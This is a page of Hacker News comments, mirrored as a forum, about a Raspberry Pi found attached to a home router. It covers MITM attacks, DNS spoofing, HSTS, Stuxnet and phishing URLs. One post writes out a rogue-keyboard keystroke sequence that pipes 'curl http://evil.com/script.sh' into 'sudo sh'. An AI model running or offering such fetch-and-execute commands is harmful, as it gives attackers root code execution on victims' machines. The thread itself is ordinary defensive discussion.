Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Found hooked up to my router

reddit.com

Post reply on HN
Print view View original

311–320 of 358 posts

Re: Found hooked up to my router

#311

Post by wstuartcl »

amckinlay wrote: post #115
krn wrote: post #53

One comment in that thread[1] gives a full explanation of what such a Raspberry Pi device hooked up to the router can do: forward all the network traffic, replace router's stock firmware with its own, install software on the network connected devices via known vulnerabilities, spoof websites by acting as custom DNS server. In my opinion, it looks like "a Pi-hole[2], but for phishing". [1] https://www.reddit.com/r/wha…

I still don't understand how this device could steal login details. Everything should be encrypted and authenticated through PKI when using any website that accepts login details. Whenever I visit a website with an expired certificate, for example, Chrome gives me a big red warning banner before allowing me to continue to the site.

Assume one of many attack vectors:

any site that is loaded via http can have content mutated -- forcing users to http (and then acting as MITM), injecting javascript, other payloads.

If you can get a foothold on client computers you can also do things like inject trusted CA's to allow yourself to act as MITM without any cert issues raised.

DNS can be mutated.

Auto update software that does not check the cert chain and hash of the deliverable can be used to inject and run code.

...

Hundreds (if not thousands) of repeatable attack vectors given physical access to the network like this.

Re: Found hooked up to my router

#312

Post by Too »

clort wrote: post #260
Too wrote: post #215

Earlier quoted context omitted.

Don't believe generic hid is safe either. You could make a device that pretends it's a keyboard and automatically inputs win+r curl http://evil.com/script.sh | sudo sh sleep alt+y. Sorry for mixing windows and Linux but conceptually something like this should work on windows if you don't require password in your UAC prompts.

I wonder if a big (Fortune 500) company could get HID devices which were customised so that only company owned devices could be plugged in.. it shouldn't be that hard to design such a device that would show up as a custom device then the installed driver would poke it in a crypto shielded way and it then provides the keyboard/mouse inputs. It can't simply do the standard 'detach and reattach as a HID' because otherwi…

Please no, don't add DRM in keyboards.

Re: Found hooked up to my router

#313

Post by mrfredward »

tacon wrote: post #156
scroot wrote: post #78

Earlier quoted context omitted.

This is how stuxnet got into the Natanz facility I think. They left a usb stick in the parking lot. Someone picked it up, plugged it in.

My understanding is that stuxnet got out of Natanz, by mistake. The world was never supposed to see that code. It was planted inside the Natanz secure perimeter.

Well, certain versions of stuxnet were sent to Natanz suppliers first, and I believe the infection made it out into the world from one of these suppliers, not Natanz itself.

Re: Found hooked up to my router

#314

Post by mrfredward »

doughj3 wrote: post #122
taneq wrote: post #116

Earlier quoted context omitted.

Oh, please, no-one would fall for that! FY2018_salary_data.xls.exe, on the other hand... :P

It wasn't uncommon to see hot_new_song.mp3.exe back in the gnutella heyday.

Hidden file extension by default, so users are left wondering "hey why does this song end in .mp3"

Re: Found hooked up to my router

#315

Post by tedunangst »

deaps wrote: post #297
Avamander wrote: post #266

Earlier quoted context omitted.

Anyone can preload their domain in Chrome, Firefox and others that share the preload list. I'm not sure what vulnerabilities are left after your site has been preloaded.

The only vulnerability left would be, as mentioned above, a client installing a browser that doesn't support HSTS.

If your attack relies on getting the user to install your own browser, don't waste your time with a simple HSTS bypass.

Re: Found hooked up to my router

#316

Post by ams6110 »

wstuartcl wrote: post #309
tonyb wrote: post #293

Is a disk image of one of these available anywhere? I find it much more likely that these are being used for what they say they are (basically a proxy so they can buy ads from a residential IP) than some crazy MITM device. The "Attacker" is basically renting an IP connection or paying a co-location fee for their little server. Plugging a device into your network doesn't make it magically see all the traffic. It would…

Well if they are willing to break TOS to sell ads on facebook how much further do you need to go to rationalize auth capture, rootkit injection or any other malicious activity. "Plugging in the device on your network doesn't make it magically see all of the traffic" ... Assuming it has not been constructed to do all of the things you list (or more) does not magically make it not see all of your traffic either. There…

Unless you work in a SCIF (and probably not even then) your local network should not be considered trustworthy. Assume that hostile activity is always present. Especially if you have "appliance" type stuff on your LAN, such as ISP-provided routers, Amazon/Google devices, smart light bulbs, etc. Keep your machines and firewalls updated.

Re: Found hooked up to my router

#317

Post by Zimahl »

Anarch157a wrote: post #152
cobbzilla wrote: post #110

Earlier quoted context omitted.

No, iirc stuxnet spread itself without anyone physically leaving a USB stick anywhere. On a system infected via the network, it would try to infect any USB drives connected to the system.

Natanz was air gapped. Stuxnet penetrated the facility on a phisical device, once inside it spread over the LAN. The Widespread distribution of it on the open Internet was because of a bug in the code.

> The Widespread distribution of it on the open Internet was because of a bug in the code.

It's presumed that the Israelis got a little bit greedy and, even though it was doing it's job, tried to make the virus do it's job a little better. They made it more virulent which made it spread outside of the systems it was only targeted to spread to.

Re: Found hooked up to my router

#318

Post by gpm »

wstuartcl wrote: post #309
tonyb wrote: post #293

Is a disk image of one of these available anywhere? I find it much more likely that these are being used for what they say they are (basically a proxy so they can buy ads from a residential IP) than some crazy MITM device. The "Attacker" is basically renting an IP connection or paying a co-location fee for their little server. Plugging a device into your network doesn't make it magically see all the traffic. It would…

Well if they are willing to break TOS to sell ads on facebook how much further do you need to go to rationalize auth capture, rootkit injection or any other malicious activity. "Plugging in the device on your network doesn't make it magically see all of the traffic" ... Assuming it has not been constructed to do all of the things you list (or more) does not magically make it not see all of your traffic either. There…

> Well if they are willing to break TOS to sell ads on facebook

What TOS? Facebooks? Why would they be bound by it?

Re: Found hooked up to my router

#319

Post by hankhill »

gpm wrote: post #318
wstuartcl wrote: post #309

Earlier quoted context omitted.

Well if they are willing to break TOS to sell ads on facebook how much further do you need to go to rationalize auth capture, rootkit injection or any other malicious activity. "Plugging in the device on your network doesn't make it magically see all of the traffic" ... Assuming it has not been constructed to do all of the things you list (or more) does not magically make it not see all of your traffic either. There…

> Well if they are willing to break TOS to sell ads on facebook What TOS? Facebooks? Why would they be bound by it?

...because they're selling ads on Facebook maybe?

Re: Found hooked up to my router

#320

Post by notriddle »

SamBam wrote: post #308
hguant wrote: post #304

Earlier quoted context omitted.

Perfectly valid cert for the evil.com domain - someone below pointed out that I flipped the domain names. In reality the "evil" page would look something like " https://www.login.chase/login?id=DEADBEEF/.evil.com" . For a non-trivial number of users, that's enough - "I see the nice green lock, I see chase, and some crazy web address characters that are always there".

Huh? " https://www.login.chase/login?id=DEADBEEF/.evil.com" wouldn't go to evil.com, it would go to login.chase. "chase" is the TLD of that URI. Unless you're doing something super clever with characters that I'm not understand, that's not how urls work. ".evil.com" is clearly part of the query parameter.

Assuming they're not doing anything weird with Unicode, the evil pi is probably running its own DNS server, intercepting the traffic intended for normal DNS, and basically creating its own TLD the same way you would normally do localdomain. The evil.com part is redundant.
Post reply on HN